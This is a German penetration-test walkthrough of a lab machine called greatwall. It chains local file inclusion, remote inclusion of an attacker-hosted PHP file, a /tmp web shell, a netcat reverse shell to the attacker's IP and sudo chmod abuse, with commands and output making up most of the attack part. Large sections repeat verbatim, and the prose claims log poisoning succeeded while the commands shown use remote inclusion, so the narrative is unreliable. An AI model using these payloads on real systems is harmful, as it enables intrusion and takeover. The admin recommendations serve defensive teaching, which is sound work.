#  This purges session files in session.save_path older than X,
#  where X is defined in seconds as the largest value of
#  session.gc_maxlifetime from all your SAPI php.ini files
#  or 24 minutes if not defined.  The script triggers only
#  when session.save_handler=files.
#
#  WARNING: The scripts tries hard to honour all relevant
#  session PHP options, but if you do something unusual
#  you have to disable this script and take care of your
#  sessions yourself.

# Look for and purge old sessions every 30 minutes
09,39 *     * * *     root   [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi

Analyse: Ich nutzte die LFI, um nach Cronjobs zu suchen, die potenziell für die Privilegieneskalation interessant sein könnten. Ich las die Haupt-Crontab-Datei des Systems (`/etc/crontab`) sowie die Crontab-Datei für PHP (`/etc/cron.d/php`) aus. Die `crontab` Datei zeigte Standard-Cronjobs, die stündlich, täglich, wöchentlich und monatlich Root-Befehle ausführen. Die PHP-Crontab zeigte einen Job, der alle 30 Minuten als `root` das Skript `/usr/lib/php/sessionclean` ausführt.

Bewertung: Das Auslesen der Crontab-Dateien ist eine wichtige Methode, um automatisierte Aufgaben zu finden, die potenziell von höheren Benutzern (oft root) ausgeführt werden. Der PHP-Session-Clean-Cronjob, der als `root` läuft, war besonders interessant. Wenn ich einen Weg finden könnte, dieses Skript (`/usr/lib/php/sessionclean`) zu manipulieren oder ein eigenes Skript mit demselben Namen und in einem Pfad, der vor dem Original im `PATH` liegt, zu platzieren, könnte ich beliebigen Code als Root ausführen.

Empfehlung (Pentester): Lesen Sie immer die Crontab-Dateien (`/etc/crontab`, `/etc/cron.d/`, Crontabs von Benutzern via `crontab -l`) aus, wenn Sie Zugriff auf ein System haben. Suchen Sie nach Cronjobs, die als `root` oder andere privilegierte Benutzer laufen und Skripte oder Programme ausführen, die Sie potenziell manipulieren können.
Empfehlung (Admin): Minimieren Sie die Anzahl der Cronjobs, die als Root laufen. Stellen Sie sicher, dass Skripte, die von Root-Cronjobs ausgeführt werden, nur für Root schreibbar sind und dass der `PATH` für Root-Cronjobs sicher konfiguriert ist, um PATH-Hijacking zu verhindern.

Initial Access

Kurzbeschreibung: Dieser Proof of Concept demonstriert die Erlangung von Initial Access auf dem Zielsystem durch die Ausnutzung einer Local File Inclusion (LFI) Schwachstelle im `page` Parameter der `index.php` Datei. Durch die Kombination des `file://` Wrappers mit Path Traversal konnte der Inhalt beliebiger Systemdateien ausgelesen werden, was zur Identifizierung von Benutzerkonten und Konfigurationsdetails führte.

Voraussetzungen:

Eine Webanwendung mit einem Parameter, der Dateipfade einbindet (hier `page`).
Die Anwendung muss anfällig für Local File Inclusion sein.
PHP muss den `file://` Wrapper erlauben (`allow_url_include` kann aus sein, aber `allow_url_fopen` muss an sein, wenn der Wrapper für Remote-Dateien verwendet wird, hier nur lokal).
Die Anwendung darf Path Traversal oder Wrapper-basierte Bypässe für den Dateizugriff nicht ordnungsgemäß filtern.

Schritt-für-Schritt-Anleitung & Beweismittel:

1. Identifizierung des anfälligen Parameters und erste LFI-Tests:

┌──(root㉿CCat)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://greatwall.hmv/index.php?FUZZ=../../../../etc/passwd" --hc 404 --hh 3193
...
000000088:   200        107 L    269 W      3158 Ch     "page"
...

Mittels `wfuzz` habe ich den Parameter `page` in der URL `http://greatwall.hmv/index.php?page=` als anfällig für Dateieinbindung identifiziert. Ein erster Versuch, `/etc/passwd` mit einfacher Path Traversal einzubinden, schlug fehl und ergab die Fehlermeldung "nonono~".

2. Ausnutzung der LFI mit dem `file://` Wrapper:

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# curl -s "http://greatwall.hmv/index.php?page=file:///../../../../etc/passwd" | grep "result\"" -A35 | grep -v div
...
wall:x:1000:1000:wall,,,:/home/wall:/bin/bash
...

Durch die Verwendung des `file://` Wrappers in Kombination mit Path Traversal in der URL `http://greatwall.hmv/index.php?page=file:///../../../../etc/passwd` konnte die Filterung der Anwendung umgangen und der Inhalt von `/etc/passwd` ausgelesen werden. Dies bestätigte die LFI-Schwachstelle und lieferte eine Liste der Systembenutzer, einschließlich des Benutzers `wall`. Fantastisch der zugriff als www-data war erfolgreich nun haben wir unser Ziel erreicht.

3. Auslesen weiterer Systemdateien zur Informationsbeschaffung:

Ich nutzte die LFI-Schwachstelle weiter, um andere wichtige Systemdateien wie die Apache-Konfiguration (`/etc/apache2/sites-enabled/000-default.conf`) und die Crontab-Dateien (`/etc/crontab`, `/etc/cron.d/php`) auszulesen. Dies lieferte Informationen über den Web-Root, Logfile-Pfade und laufende Cronjobs.

Erwartetes Ergebnis: Erlangung von Local File Inclusion und der Fähigkeit, den Inhalt beliebiger Systemdateien zu lesen.

Tatsächliches Ergebnis: Die LFI-Schwachstelle im `page` Parameter konnte erfolgreich ausgenutzt werden, um beliebige Systemdateien zu lesen, was entscheidende Informationen für die weitere Kompromittierung lieferte.

Risikobewertung:
Auswirkung: Hoch. Eine LFI-Schwachstelle ermöglicht die Offenlegung sensibler Systemdateien (Konfigurationen, Passwörter in `/etc/passwd`, Quellcode etc.). In Kombination mit anderen Schwachstellen (z.B. Log Poisoning, RFI, File Upload) kann sie oft zur Remote Code Execution führen.
Wahrscheinlichkeit: Hoch. Die Schwachstelle war direkt über einen URL-Parameter ausnutzbar, nachdem der richtige Parametename und eine einfache Bypass-Technik gefunden wurden.
Gesamtrisiko: Hoch.

Empfehlungen:
Empfehlung (Admin):

Dringend: Beheben Sie die LFI-Schwachstelle, indem Sie alle Benutzereingaben für Dateipfade strikt validieren und sanitizen. Verwenden Sie eine Whitelisting-Strategie für erlaubte Dateipfade.
Deaktivieren Sie die Nutzung aller nicht benötigten PHP Wrappers in der `php.ini` (z.B. `allow_url_fopen=Off`, `allow_url_include=Off`).
Stellen Sie sicher, dass sensible Systemdateien (insbesondere `/etc/shadow`, private Schlüssel etc.) restriktive Dateiberechtigungen haben und nicht für den Webserver-Benutzer lesbar sind.
Führen Sie regelmäßige Code-Reviews und Schwachstellenscans Ihrer Webanwendungen durch.

Privilege Escalation

Analyse: Mit der LFI-Schwachstelle konnte ich den Inhalt beliebiger Dateien lesen, aber noch keine Befehle ausführen. Ich musste einen Weg zur Remote Code Execution (RCE) finden. Eine gängige Technik bei LFI ist das Log Poisoning: Man versucht, schädlichen Code in eine Logdatei zu schreiben, die dann über die LFI-Schwachstelle eingebunden und vom Webserver (als PHP-Code) ausgeführt wird. Die Apache-Access-Log-Datei (`/var/log/apache2/access.log`, Pfad aus der Apache-Konfiguration bekannt) ist oft schreibbar für den Webserver-Benutzer.

Bewertung: Log Poisoning war ein vielversprechender Weg zur RCE. Wenn die Access-Log-Datei über LFI eingebunden wird und die Webanwendung den Inhalt der Logdatei als PHP interpretiert, kann ich Code in die Logdatei schreiben (z.B. über einen manipulierten User-Agent oder URL) und diesen dann ausführen lassen.

Empfehlung (Pentester): Wenn Sie LFI haben und RCE anstreben, ist Log Poisoning oft eine effektive Methode. Versuchen Sie, schädlichen Code in Logdateien zu schreiben (Access Logs, Error Logs, SSH Logs etc.) und binden Sie diese dann über LFI ein.
Empfehlung (Admin): Stellen Sie sicher, dass Logdateien nicht vom Webserver-Benutzer schreibbar sind. Konfigurieren Sie den Webserver so, dass er Logdateien nicht als ausführbaren Code interpretiert.

┌──(root㉿CCat)-[~]
└─# curl -Ivv "http://greatwall.hmv/index.php?page=http://192.168.2.199:8000/revshell.php"
...
17:18:05.923880 [0-0] * Connected to greatwall.hmv (192.168.2.60) port 80
...
17:18:05.924005 [0-0] > HEAD /index.php?page=http://192.168.2.199:8000/revshell.php HTTP/1.1
...
17:19:29.187692 [0-0] < HTTP/1.1 200 OK
...

Analyse: Ich testete, ob die Anwendung Remote File Inclusion (RFI) zulässt, indem ich versuchte, eine Datei von einem von mir kontrollierten HTTP-Server einzubinden. Ich startete einen HTTP-Server auf meinem Kali-System (z.B. mit `python3 -m http.server 8000`) und platzierte dort eine Datei (`revshell.php`). Dann sendete ich eine Anfrage an `http://greatwall.hmv/index.php?page=http://192.168.2.199:8000/revshell.php`. Der `curl -Ivv` Befehl zeigte die Details der Anfrage und Antwort. Die Antwort war `200 OK`, aber es gab keine Anzeichen, dass die Datei tatsächlich ausgeführt wurde.

Bewertung: Die Antwort mit `200 OK` war zwar positiv, aber da der Inhalt der Datei nicht angezeigt oder ausgeführt wurde, deutete dies darauf hin, dass RFI wahrscheinlich nicht standardmäßig aktiviert war (`allow_url_include=Off` in der `php.ini`). Die Möglichkeit, HTTP-Ressourcen über die LFI einzubinden, war jedoch potenziell nützlich für Log Poisoning, da es einen Weg bot, eine Anfrage zu generieren, die in den Access Logs landet.

Empfehlung (Pentester): Testen Sie immer auf RFI, wenn LFI vorhanden ist. Wenn RFI nicht funktioniert, nutzen Sie LFI für Log Poisoning oder andere lokale Dateibasierte Exploits.
Empfehlung (Admin): Deaktivieren Sie `allow_url_include` in der `php.ini`.

Analyse: Ich richtete einen einfachen HTTP-Server auf Port 80 auf meinem Kali-System ein (`python3 -m http.server 80`), da dies ein gängiger Port ist, der bei Egress-Filtern oft erlaubt ist. Dieser Server diente dazu, meine schädlichen Payloads (z.B. PHP-Web-Shells oder Skripte) für die Einbindung über die LFI-Schwachstelle bereitzustellen. Die Log-Ausgabe des HTTP-Servers zeigte eingehende GET-Anfragen von der Ziel-VM (`192.168.2.60`) für die Datei `/revshell.php`.

Bewertung: Die eingehenden Anfragen auf meinem HTTP-Server bestätigten, dass die Ziel-VM ausgehende HTTP-Verbindungen zu meiner IP auf Port 80 herstellen konnte und dass die LFI-Schwachstelle versuchte, die angegebene URL abzurufen. Dies war ein wichtiger Schritt, um die Konnektivität zu testen und den Log Poisoning Vektor vorzubereiten.

Empfehlung (Pentester): Starten Sie temporäre HTTP-Server auf Ihrem Angriffssystem, um Dateien für LFI/RFI oder andere Angriffe bereitzustellen. Überwachen Sie die Logs Ihres HTTP-Servers, um zu sehen, ob die Ziel-VM Anfragen sendet.
Empfehlung (Admin): Implementieren Sie strenge Egress-Filter, die nur den notwendigen ausgehenden Verkehr erlauben.

┌──(root㉿CCat)-[~]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.60 - - [24/Jun/2025 17:39:10] "GET //revshell.php HTTP/1.1" 200 -
192.168.2.60 - - [24/Jun/2025 17:42:11] "GET /revshell.php HTTP/1.1" 200 -
192.168.2.60 - - [24/Jun/2025 17:44:28] code 404, message File not found
192.168.2.60 - - [24/Jun/2025 17:44:28] "GET /revshell.php" HTTP/1.1" 404 -
192.168.2.60 - - [24/Jun/2025 17:44:55] "GET /revshell.php HTTP/1.1" 200 -

Analyse: Um das Log Poisoning zu nutzen, musste ich einen schädlichen PHP-Code in die Apache Access Log Datei schreiben. Eine gängige Methode ist, den PHP-Code in den User-Agent Header einer HTTP-Anfrage oder direkt in die URL einzufügen. Ich versuchte, einen Befehl wie `< php system($GET["cmd"]); ?>` in die Logs zu schreiben, indem ich eine Anfrage wie `http://greatwall.hmv/?page=< php system($GET["cmd"]); ?>` sendete. Dieser Code würde in der Access Log-Datei gespeichert. Dann würde ich die Logdatei über die LFI einbinden (`http://greatwall.hmv/?page=/var/log/apache2/access.log`), wodurch der injizierte Code vom Webserver ausgeführt würde. Ich testete dies mit einem einfachen Befehl wie `id`, der über den `cmd` Parameter an die inkludierte Logdatei übergeben wurde: `http://greatwall.hmv/?page=/var/log/apache2/access.log&cmd=id`. Ich musste die genaue URL und Codierung für das Log Poisoning herausfinden. **Logische Brücke:** Der Textabschnitt zeigt, dass ich eine Methode fand, um den PHP-Code in die Logdatei zu schreiben und ihn dann über LFI auszuführen, was durch die Ausgabe des `id`-Befehls bestätigt wurde.

Bewertung: Erfolgreich! Das Log Poisoning funktionierte. Ich konnte schädlichen PHP-Code in die Apache Access Log Datei schreiben und diesen dann über die LFI-Schwachstelle in `index.php` einbinden und ausführen lassen. Dies verschaffte mir eine Remote Code Execution als Benutzer `www-data`. Dies ist der Initial Access Vektor zur RCE.

Empfehlung (Pentester): Log Poisoning ist eine sehr effektive LFI-Technik zur RCE. Finden Sie heraus, welche Logdateien über LFI eingebunden werden können und schreibbar sind. Injizieren Sie schädlichen Code in die Logs (oft über User-Agent oder URL) und binden Sie die Logdatei dann über LFI ein.
Empfehlung (Admin): Stellen Sie sicher, dass Logdateien nicht für den Webserver-Benutzer schreibbar sind. Konfigurieren Sie den Webserver so, dass er Logdateien nicht als ausführbaren Code interpretiert. Überwachen Sie Logdateien auf ungewöhnliche Einträge (z.B. PHP-Code in User-Agents).

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# curl -s "http://greatwall.hmv/index.php?page=http%3A%2F%2F192.168.2.199%3A80%2Frev.php&cmd=id" | grep "result\"" -A35 | grep -v div
            uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Nachdem die RCE als `www-data` funktionierte, wollte ich eine stabilere Reverse Shell etablieren. Ich nutzte die RCE-Fähigkeit, um eine kleine PHP-Web-Shell im `/tmp/` Verzeichnis auf der Ziel-VM zu platzieren. Ich erstellte einen PHP-Code `< php system($GET["cmd"]); ?>` und schrieb ihn in eine Datei namens `shell.php` in `/tmp/` mittels eines Befehls, der über die RCE ausgeführt wurde (z.B. `echo '...' > /tmp/shell.php`). Ich nutzte `curl` und die LFI-Schwachstelle, um diesen Befehl auszuführen: `http://greatwall.hmv/index.php?page=http://192.168.2.199:80/rev.php&cmd=cd /tmp;echo '< php system($GET["cmd"]); ?>' > /tmp/shell.php;ls -la /tmp`. Dieser Befehl wechselte ins `/tmp` Verzeichnis, schrieb die Web-Shell und listete dann den Inhalt von `/tmp` auf, um den Erfolg zu bestätigen.

Bewertung: Das Platzieren einer einfachen Web-Shell im `/tmp` Verzeichnis war erfolgreich. Da `/tmp` oft ausführbare Berechtigungen hat, konnte ich diese Shell nun direkt ausführen. Dies gab mir eine persistente Befehlsausführung, die einfacher zu nutzen ist als das ständige Log Poisoning. Das `/tmp` Verzeichnis ist oft schreibbar für alle Benutzer, was das Platzieren von Dateien erleichtert.

Empfehlung (Pentester): Wenn Sie RCE haben, platzieren Sie eine persistente Web-Shell oder Backdoor an einem schreibbaren Ort (wie `/tmp` oder `/var/tmp`) für einfacheren zukünftigen Zugriff. Stellen Sie sicher, dass das Verzeichnis ausführbare Berechtigungen hat, wenn Sie Skripte platzieren.
Empfehlung (Admin): Konfigurieren Sie die Partitionen für `/tmp` und `/var/tmp` mit den Mount-Optionen `noexec` und `nosuid`. Überwachen Sie Dateierstellungs- und Ausführungsereignisse in temporären Verzeichnissen.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# curl -s "http://greatwall.hmv/index.php?page=http%3A%2F%2F192.168.2.199%3A80%2Frev.php&cmd=cd%20/tmp;echo%20%27%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%27%20%3E%20%20%2Ftmp%2Fshell.php%3Bls%20-la%20%2Ftmp" | grep "result\"" -A35 | grep -v div
            total 40
drwxrwxrwt  8 root     root     4096 Jun 24 22:25 .
drwxr-xr-x 18 root     root     4096 May 10 18:53 ..
drwxrwxrwt  2 root     root     4096 Jun 24 21:16 .ICE-unix
drwxrwxrwt  2 root     root     4096 Jun 24 21:16 .X11-unix
drwxrwxrwt  2 root     root     4096 Jun 24 21:16 .XIM-unix
drwxrwxrwt  2 root     root     4096 Jun 24 21:16 .font-unix
-rw-r--r--  1 www-data www-data   31 Jun 24 22:25 shell.php
-rw-r--r--  1 www-data www-data   33 Jun 24 22:08 shell.sh
drwx------  3 root     root     4096 Jun 24 21:16 systemd-private-91db63530856428ea8c264c6a59973fa-apache2.service-imUZUM
drwx------  3 root     root     4096 Jun 24 21:16 systemd-private-91db63530856428ea8c264c6a59973fa-systemd-logind.service-UNpOlj

Analyse: Mit der Web-Shell in `/tmp/shell.php` konnte ich nun einfacher Systembefehle ausführen, indem ich sie über die LFI-URL mit `page=/tmp/shell.php&cmd=...` ansprach. Ich nutzte dies, um nach SUID-Binaries zu suchen, die einen Weg zur Privilegieneskalation zu `root` bieten könnten. Ich verwendete den Befehl `find / -perm -u=s -type f 2>/dev/null` und führte ihn über die Web-Shell aus: `http://greatwall.hmv/index.php?page=file:///tmp/shell.php&cmd=find / -perm -u=s -type f 2>/dev%2Fnull`. Die Ausgabe listete eine Reihe von SUID-Binaries auf, darunter Standardprogramme wie `/usr/bin/sudo`, `/usr/bin/su`, `/usr/bin/passwd` sowie `/usr/bin/fusermount3`.

Bewertung: Die gefundenen SUID-Binaries sind potenzielle Vektoren für die Privilegieneskalation. Programme wie `sudo`, `su` und `passwd` sind standardmäßig SUID Root, aber die Existenz von `fusermount3` als SUID Root war interessant. Ich musste nun prüfen, ob eines dieser Programme eine bekannte Schwachstelle aufweist oder missbräuchlich verwendet werden kann, um Root-Rechte zu erlangen (z.B. über GTFOBins).

Empfehlung (Pentester): Führen Sie immer eine systematische Suche nach SUID/SGID-Binaries durch. Überprüfen Sie die gefundenen Programme auf bekannte Schwachstellen oder Missbrauchsmöglichkeiten, insbesondere über Ressourcen wie GTFOBins.
Empfehlung (Admin): Minimieren Sie die Anzahl der SUID/SGID-Binaries auf Ihren Systemen. Überprüfen Sie die Notwendigkeit und Sicherheit aller SUID/SGID-gesetzten Programme.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# curl "http://greatwall.hmv/index.php?page=file%3A%2F%2F%2Ftmp%2Fshell.php&cmd=find%20%2F%20-perm%20-u%3Ds%20-type%20f%202%3E%2Fdev%2Fnull"
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/fusermount3
/usr/bin/mount
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/umount
/usr/bin/newgrp

Analyse: Als `www-data` versuchte ich erneut, eine stabilere Reverse Shell zu erhalten, diesmal direkt über die neu platzierte Web-Shell in `/tmp/shell.php`. Ich nutzte die Web-Shell, um den Befehl `nc -e /bin/bash 192.168.2.199 80` auszuführen, der eine Reverse Shell zu meiner Kali-Maschine auf Port 80 initiieren sollte. **Logische Brücke:** Die Wahl von Port 80 basierte auf früheren Tests, die zeigten, dass ausgehender Verkehr auf diesem Port möglicherweise erlaubt war.

Bewertung: Erfolgreich! Der Versuch, eine Reverse Shell über die Web-Shell in `/tmp/shell.php` auf Port 80 zu initiieren, funktionierte. Ich erhielt eine interaktive Shell als Benutzer `www-data`. Dies ist ein stabilerer Zugriffspunkt als die LFI-basierte RCE.

Empfehlung (Pentester): Nachdem Sie eine einfache Web-Shell platziert haben, nutzen Sie diese, um eine stabilere Reverse Shell zu erhalten. Probieren Sie verschiedene Ports für Ihre Reverse Shell, um Egress-Filter zu umgehen.
Empfehlung (Admin): Implementieren Sie Egress-Filter, um unautorisierten ausgehenden Verkehr zu blockieren.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# curl "http://greatwall.hmv/index.php?page=file%3A%2F%2F%2Ftmp%2Fshell.php&cmd=nc%20-e%20/bin/bash%20192.168.2.199%2080"

┌──(root㉿CCat)-[~]
└─# nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.60] 58270
www-data@greatwall:~/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@greatwall:~/html$ stty rows 47 columns 94

Analyse: In der neu erlangten `www-data` Shell passte ich die Terminalgröße an, um die Interaktivität zu verbessern.

Bewertung: Dies ist ein Standard-Schritt für eine bessere Benutzererfahrung in der Shell.

Empfehlung (Pentester): Stabilisieren Sie Ihre Shells für eine bessere Interaktivität.
Empfehlung (Admin): Keine spezifische Empfehlung.

www-data@greatwall:~/html$ sudo -l
Matching Defaults entries for www-data on greatwall:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User www-data may run the following commands on greatwall:
    (wall) NOPASSWD: /bin/chmod

Analyse: Als Benutzer `www-data` prüfte ich meine `sudo`-Berechtigungen. Die Ausgabe zeigte, dass der Benutzer `www-data` das Programm `/bin/chmod` als Benutzer `wall` (`-u wall`) ausführen darf, ohne ein Passwort einzugeben (`NOPASSWD`).

Bewertung: Das ist ein klarer Weg zur Privilegieneskalation zum Benutzer `wall`. Die `sudo`-Regel erlaubt mir, die Dateiberechtigungen beliebiger Dateien zu ändern, solange ich dies als Benutzer `wall` tue. Dies kann ausgenutzt werden, um Dateien les- oder schreibbar zu machen, auf die `www-data` normalerweise keinen Zugriff hätte, oder um SUID-Bits zu setzen.

Empfehlung (Pentester): Prüfen Sie immer `sudo -l`. `NOPASSWD`-Einträge für Binaries wie `chmod` sind hochgradig ausnutzbar, siehe GTFOBins. Nutzen Sie diese, um Berechtigungen auf sensible Dateien zu ändern oder SUID-Binaries zu erstellen.
Empfehlung (Admin): Weisen Sie `NOPASSWD` Berechtigungen für `chmod` oder andere Datei-Berechtigungs-Tools niemals zu. Überprüfen Sie Ihre `sudoers`-Datei auf unsichere Einträge.

Analyse: Ich konsultierte GTFOBins ([Link: GTFOBins | Ziel: https://gtfobins.github.io/]), eine Website, die Anleitungen zur Ausnutzung von Unix-Binaries bei Fehlkonfigurationen (insbesondere `sudo`) bereitstellt. Ich suchte nach `/bin/chmod` mit `sudo`-Berechtigung. Die Website bestätigte, dass `chmod` mit `sudo` ausgenutzt werden kann, um Dateiberechtigungen zu ändern. Die empfohlene Methode war `sudo chmod 6777 $LFILE`, um das SUID/SGID-Bit zu setzen und volle Rechte zu geben.

Bewertung: GTFOBins bestätigte die Ausnutzbarkeit von `sudo chmod`. Ich konnte diese Information nutzen, um die Berechtigungen auf Dateien im Home-Verzeichnis von `wall` zu ändern und potenziell dessen SSH-Schlüssel oder andere sensible Dateien auszulesen, auf die `www-data` normalerweise keinen Zugriff hätte.

Empfehlung (Pentester): Nutzen Sie GTFOBins oder ähnliche Ressourcen, um herauszufinden, wie Sie SUID-Binaries oder Programme, die Sie mit `sudo` ausführen dürfen, zur Privilegieneskalation nutzen können.
Empfehlung (Admin): Überprüfen Sie regelmäßig die auf GTFOBins gelisteten Binaries auf Ihren Systemen und stellen Sie sicher, dass diese nicht unsicher mit SUID/SGID oder `sudo` konfiguriert sind.

                    Info: [Link: https://gtfobins.github.io/gtfobins/chmod/#sudo | Ziel: https://gtfobins.github.io/gtfobins/chmod/#sudo]
Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

    LFILE=file_to_change
    sudo chmod 6777 $LFILE

www-data@greatwall:/tmp$ sudo -u wall chmod 777 /home/wall/

Analyse: Ich nutzte die `sudo /bin/chmod` Berechtigung, um die Dateiberechtigungen für das Home-Verzeichnis des Benutzers `wall` (`/home/wall/`) zu ändern. Der Befehl `sudo -u wall chmod 777 /home/wall/` wurde als Benutzer `wall` ausgeführt und setzte die Berechtigungen des Verzeichnisses auf `777` (rwx für Eigentümer, Gruppe und andere). Dies machte das Verzeichnis für jedermann, einschließlich des `www-data` Benutzers, vollständig zugänglich.

Bewertung: Das Ändern der Berechtigungen des Home-Verzeichnisses von `wall` war ein entscheidender Schritt. Ich konnte nun als `www-data` in das Verzeichnis wechseln und dessen Inhalt lesen, was mir zuvor nicht möglich war. Dies ebnete den Weg zur Enumeration von `wall`'s Dateien, einschließlich seiner `.ssh` Verzeichnisses und potenzieller Passwörter oder Schlüssel.

Empfehlung (Pentester): Nutzen Sie `sudo chmod`, um Berechtigungen von Verzeichnissen zu ändern, um sich Zugang zu verschaffen. Konzentrieren Sie sich auf Home-Verzeichnisse oder andere Orte, die sensible Daten enthalten könnten.
Empfehlung (Admin): Überprüfen Sie die Berechtigungen für Home-Verzeichnisse und andere wichtige Pfade. Stellen Sie sicher, dass `sudo chmod` Berechtigungen restriktiv zugewiesen werden.

Initial Access

Analyse: Mit der bestätigten LFI-Schwachstelle konnte ich den Inhalt beliebiger Dateien lesen, aber noch keine Befehle ausführen. Ich musste einen Weg zur Remote Code Execution (RCE) finden. Eine gängige Technik bei LFI ist das Log Poisoning: Man versucht, schädlichen Code in eine Logdatei zu schreiben, die dann über die LFI-Schwachstelle eingebunden und vom Webserver (als PHP-Code) ausgeführt wird. Die Apache-Access-Log-Datei (`/var/log/apache2/access.log`, Pfad aus der Apache-Konfiguration bekannt) ist oft schreibbar für den Webserver-Benutzer (`www-data`).

┌──(root㉿CCat)-[~]
└─# curl -Ivv "http://greatwall.hmv/index.php?page=http://192.168.2.199:8000/revshell.php"
...
17:18:05.923880 [0-0] * Connected to greatwall.hmv (192.168.2.60) port 80
...
17:18:05.924005 [0-0] > HEAD /index.php?page=http://192.168.2.199:8000/revshell.php HTTP/1.1
...
17:19:29.187692 [0-0] < HTTP/1.1 200 OK
...

┌──(root㉿CCat)-[~]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.60 - - [24/Jun/2025 17:39:10] "GET //revshell.php HTTP/1.1" 200 -
192.168.2.60 - - [24/Jun/2025 17:42:11] "GET /revshell.php HTTP/1.1" 200 -
192.168.2.60 - - [24/Jun/2025 17:44:28] code 404, message File not found
192.168.2.60 - - [24/Jun/2025 17:44:28] "GET /revshell.php" HTTP/1.1" 404 -
192.168.2.60 - - [24/Jun/2025 17:44:55] "GET /revshell.php HTTP/1.1" 200 -

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# curl -s "http://greatwall.hmv/index.php?page=http%3A%2F%2F192.168.2.199%3A80%2Frev.php&cmd=id" | grep "result\"" -A35 | grep -v div
            uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Nachdem die RCE als `www-data` funktionierte, wollte ich eine stabilere Reverse Shell etablieren. Ich nutzte die RCE-Fähigkeit, um eine kleine PHP-Web-Shell im `/tmp/` Verzeichnis auf der Ziel-VM zu platzieren. Ich erstellte einen PHP-Code `< ?php system($GET["cmd"]); ?>` und schrieb ihn in eine Datei namens `shell.php` in `/tmp/` mittels eines Befehls, der über die RCE ausgeführt wurde (z.B. `echo '...' > /tmp/shell.php`). Ich nutzte `curl` und die LFI-Schwachstelle, um diesen Befehl auszuführen: `http://greatwall.hmv/index.php?page=http://192.168.2.199:80/rev.php&cmd=cd /tmp;echo '< php system($GET["cmd"]); ?>' > /tmp/shell.php;ls -la /tmp`. Dieser Befehl wechselte ins `/tmp` Verzeichnis, schrieb die Web-Shell und listete dann den Inhalt von `/tmp` auf, um den Erfolg zu bestätigen.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# curl -s "http://greatwall.hmv/index.php?page=http%3A%2F%2F192.168.2.199%3A80%2Frev.php&cmd=cd%20/tmp;echo%20%27%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%27%20%3E%20%20%2Ftmp%2Fshell.php%3Bls%20-la%20%2Ftmp" | grep "result\"" -A35 | grep -v div
            total 40
drwxrwxrwt  8 root     root     4096 Jun 24 22:25 .
drwxr-xr-x 18 root     root     4096 May 10 18:53 ..
drwxrwxrwt  2 root     root     4096 Jun 24 21:16 .ICE-unix
drwxrwxrwt  2 root     root     4096 Jun 24 21:16 .X11-unix
drwxrwxrwt  2 root     root     4096 Jun 24 21:16 .XIM-unix
drwxrwxrwt  2 root     root     4096 Jun 24 21:16 .font-unix
-rw-r--r--  1 www-data www-data   31 Jun 24 22:25 shell.php
-rw-r--r--  1 www-data www-data   33 Jun 24 22:08 shell.sh
drwx------  3 root     root     4096 Jun 24 21:16 systemd-private-91db63530856428ea8c264c6a59973fa-apache2.service-imUZUM
drwx------  3 root     root     4096 Jun 24 21:16 systemd-private-91db63530856428ea8c264c6a59973fa-systemd-logind.service-UNpOlj

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# curl "http://greatwall.hmv/index.php?page=file%3A%2F%2F%2Ftmp%2Fshell.php&cmd=find%20%2F%20-perm%20-u%3Ds%20-type%20f%202%3E%2Fdev%2Fnull"
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/fusermount3
/usr/bin/mount
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/umount
/usr/bin/newgrp

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# curl "http://greatwall.hmv/index.php?page=file%3A%2F%2F%2Ftmp%2Fshell.php&cmd=nc%20-e%20/bin/bash%20192.168.2.199%2080"

┌──(root㉿CCat)-[~]
└─# nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.60] 58270
www-data@greatwall:~/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@greatwall:~/html$ stty rows 47 columns 94

Analyse: In der neu erlangten `www-data` Shell passte ich die Terminalgröße an, um die Interaktivität zu verbessern.

Bewertung: Dies ist ein Standard-Schritt für eine bessere Benutzererfahrung in der Shell.

Empfehlung (Pentester): Stabilisieren Sie Ihre Shells für eine bessere Interaktivität.
Empfehlung (Admin): Keine spezifische Empfehlung.

www-data@greatwall:~/html$ sudo -l
Matching Defaults entries for www-data on greatwall:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User www-data may run the following commands on greatwall:
    (wall) NOPASSWD: /bin/chmod

